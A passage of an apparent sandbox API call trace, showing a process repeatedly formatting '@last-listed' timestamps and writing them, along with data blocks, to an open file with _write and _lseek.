_SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.435] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.435] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.435] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.435] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.435] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 17799 [0121.435] _write (in: _FileHandle=4, _Buf=0x3bf4088*, _MaxCharCount=0x178 | out: _Buf=0x3bf4088*) returned 376 [0121.435] gmtime (param_1=0x36f188) returned 0x841688 [0121.435] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.435] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.435] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.435] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.435] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.435] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 18208 [0121.435] _write (in: _FileHandle=4, _Buf=0x3bf4210*, _MaxCharCount=0x178 | out: _Buf=0x3bf4210*) returned 376 [0121.436] gmtime (param_1=0x36f188) returned 0x841688 [0121.436] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.436] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.436] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.436] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.436] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.436] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 18617 [0121.436] _write (in: _FileHandle=4, _Buf=0x3bf4398*, _MaxCharCount=0x178 | out: _Buf=0x3bf4398*) returned 376 [0121.436] gmtime (param_1=0x36f188) returned 0x841688 [0121.436] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.436] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.436] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.436] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.436] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.436] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 19026 [0121.436] _write (in: _FileHandle=4, _Buf=0x3c07dd8*, _MaxCharCount=0x19b | out: _Buf=0x3c07dd8*) returned 411 [0121.436] gmtime (param_1=0x36f188) returned 0x841688 [0121.436] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.436] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.436] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.436] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.436] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.436] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 19470 [0121.436] _write (in: _FileHandle=4, _Buf=0x3bf4520*, _MaxCharCount=0x178 | out: _Buf=0x3bf4520*) returned 376 [0121.436] gmtime (param_1=0x36f188) returned 0x841688 [0121.437] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.437] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.437] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.437] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.437] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.437] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 19879 [0121.437] _write (in: _FileHandle=4, _Buf=0x3bf46a8*, _MaxCharCount=0x17b | out: _Buf=0x3bf46a8*) returned 379 [0121.437] gmtime (param_1=0x36f188) returned 0x841688 [0121.437] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.437] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.437] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.437] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.437] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.437] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 20291 [0121.437] _write (in: _FileHandle=4, _Buf=0x3bb9888*, _MaxCharCount=0x168 | out: _Buf=0x3bb9888*) returned 360 [0121.437] gmtime (param_1=0x36f188) returned 0x841688 [0121.437] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.437] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.437] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.437] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.437] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.437] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 20684 [0121.437] _write (in: _FileHandle=4, _Buf=0x3bf4830*, _MaxCharCount=0x178 | out: _Buf=0x3bf4830*) returned 376 [0121.437] gmtime (param_1=0x36f188) returned 0x841688 [0121.437] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.437] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.437] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.437] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.437] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.437] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 21093 [0121.437] _write (in: _FileHandle=4, _Buf=0x3bb9a00*, _MaxCharCount=0x192 | out: _Buf=0x3bb9a00*) returned 402 [0121.437] gmtime (param_1=0x36f188) returned 0x841688 [0121.438] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.438] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.438] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.438] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.438] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.438] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 21528 [0121.438] _write (in: _FileHandle=4, _Buf=0x3bb9ba0*, _MaxCharCount=0x791 | out: _Buf=0x3bb9ba0*) returned 1937 [0121.438] gmtime (param_1=0x36f188) returned 0x841688 [0121.438] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.438] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.438] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.438] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.438] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.438] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 23498 [0121.438] _write (in: _FileHandle=4, _Buf=0x3bbab40*, _MaxCharCount=0x168 | out: _Buf=0x3bbab40*) returned 360 [0121.438] gmtime (param_1=0x36f188) returned 0x841688 [0121.438] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.438] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.438] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.438] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.438] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.438] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 23891 [0121.438] _write (in: _FileHandle=4, _Buf=0x3bbacb8*, _MaxCharCount=0x168 | out: _Buf=0x3bbacb8*) returned 360 [0121.438] gmtime (param_1=0x36f188) returned 0x841688 [0121.438] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.438] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.438] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.438] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.438] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.438] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 24284 [0121.439] _write (in: _FileHandle=4, _Buf=0x3bf49b8*, _MaxCharCount=0x178 | out: _Buf=0x3bf49b8*) returned 376 [0121.439] gmtime (param_1=0x36f188) returned 0x841688 [0121.439] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.439] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.439] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.439] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.439] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.439] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 24693 [0121.439] _write (in: _FileHandle=4, _Buf=0x3bf4b40*, _MaxCharCount=0x178 | out: _Buf=0x3bf4b40*) returned 376 [0121.439] gmtime (param_1=0x36f188) returned 0x841688 [0121.439] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.439] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.439] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.439] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.439] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.439] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 25102 [0121.439] _write (in: _FileHandle=4, _Buf=0x3bbae30*, _MaxCharCount=0x2c9 | out: _Buf=0x3bbae30*) returned 713 [0121.439] gmtime (param_1=0x36f188) returned 0x841688 [0121.439] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.439] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.439] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.439] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.439] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.439] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 25848 [0121.439] _write (in: _FileHandle=4, _Buf=0x3bf4cc8*, _MaxCharCount=0x178 | out: _Buf=0x3bf4cc8*) returned 376 [0121.439] gmtime (param_1=0x36f188) returned 0x841688 [0121.439] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.439] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.439] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.439] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.440] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.440] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 26257 [0121.440] _write (in: _FileHandle=4, _Buf=0x3bbb108*, _MaxCharCount=0x168 | out: _Buf=0x3bbb108*) returned 360 [0121.440] gmtime (param_1=0x36f188) returned 0x841688 [0121.440] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.440] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.440] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.440] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.440] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.440] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 26650 [0121.440] _write (in: _FileHandle=4, _Buf=0x3bf4e50*, _MaxCharCount=0x178 | out: _Buf=0x3bf4e50*) returned 376 [0121.440] gmtime (param_1=0x36f188) returned 0x841688 [0121.440] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.440] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.440] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.440] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.440] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.440] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 27059 [0121.440] _write (in: _FileHandle=4, _Buf=0x3bf4fd8*, _MaxCharCount=0x178 | out: _Buf=0x3bf4fd8*) returned 376 [0121.440] gmtime (param_1=0x36f188) returned 0x841688 [0121.440] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.440] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.440] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.440] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.440] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.440] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 27468 [0121.440] _write (in: _FileHandle=4, _Buf=0x3bf5160*, _MaxCharCount=0x178 | out: _Buf=0x3bf5160*) returned 376 [0121.440] gmtime (param_1=0x36f188) returned 0x841688 [0121.440] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.440] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.440] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.440] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.441] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.441] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 27877 [0121.441] _write (in: _FileHandle=4, _Buf=0x3bbb280*, _MaxCharCount=0x168 | out: _Buf=0x3bbb280*) returned 360 [0121.441] gmtime (param_1=0x36f188) returned 0x841688 [0121.441] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.441] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.441] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.441] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.441] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.441] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 28270 [0121.441] _write (in: _FileHandle=4, _Buf=0x3bf52e8*, _MaxCharCount=0x178 | out: _Buf=0x3bf52e8*) returned 376 [0121.441] gmtime (param_1=0x36f188) returned 0x841688 [0121.441] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.441] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.441] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.441] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.441] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.441] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 28679 [0121.441] _write (in: _FileHandle=4, _Buf=0x3bf5470*, _MaxCharCount=0x178 | out: _Buf=0x3bf5470*) returned 376 [0121.441] gmtime (param_1=0x36f188) returned 0x841688 [0121.441] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.441] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.441] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.441] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.441] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.441] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 29088 [0121.441] _write (in: _FileHandle=4, _Buf=0x3bbbbf8*, _MaxCharCount=0x168 | out: _Buf=0x3bbbbf8*) returned 360 [0121.441] gmtime (param_1=0x36f188) returned 0x841688 [0121.442] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.442] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.442] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.442] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.442] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.442] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 29481 [0121.442] _write (in: _FileHandle=4, _Buf=0x3bf55f8*, _MaxCharCount=0x178 | out: _Buf=0x3bf55f8*) returned 376 [0121.442] gmtime (param_1=0x36f188) returned 0x841688 [0121.442] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.442] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.442] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.442] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.442] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.442] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 29890 [0121.442] _write (in: _FileHandle=4, _Buf=0x3bf5780*, _MaxCharCount=0x178 | out: _Buf=0x3bf5780*) returned 376 [0121.442] gmtime (param_1=0x36f188) returned 0x841688 [0121.442] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.442] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.442] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.442] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.442] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.442] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 30299 [0121.442] _write (in: _FileHandle=4, _Buf=0x3bf5908*, _MaxCharCount=0x178 | out: _Buf=0x3bf5908*) returned 376 [0121.442] gmtime (param_1=0x36f188) returned 0x841688 [0121.442] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.442] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.442] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.442] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.442] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.442] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 30708 [0121.442] _write (in: _FileHandle=4, _Buf=0x3bf5a90*, _MaxCharCount=0x178 | out: _Buf=0x3bf5a90*) returned 376 [0121.442] gmtime (param_1=0x36f188) returned 0x841688 [0121.443] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.443] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.443] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.443] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.443] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.443] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 31117 [0121.443] _write (in: _FileHandle=4, _Buf=0x3bf5c18*, _MaxCharCount=0x178 | out: _Buf=0x3bf5c18*) returned 376 [0121.443] gmtime (param_1=0x36f188) returned 0x841688 [0121.443] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.443] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.443] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.443] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.443] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.443] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 31526 [0121.443] _write (in: _FileHandle=4, _Buf=0x3bf5da0*, _MaxCharCount=0x178 | out: _Buf=0x3bf5da0*) returned 376 [0121.443] gmtime (param_1=0x36f188) returned 0x841688 [0121.443] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.443] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.443] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.443] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.443] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.443] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 31935 [0121.443] _write (in: 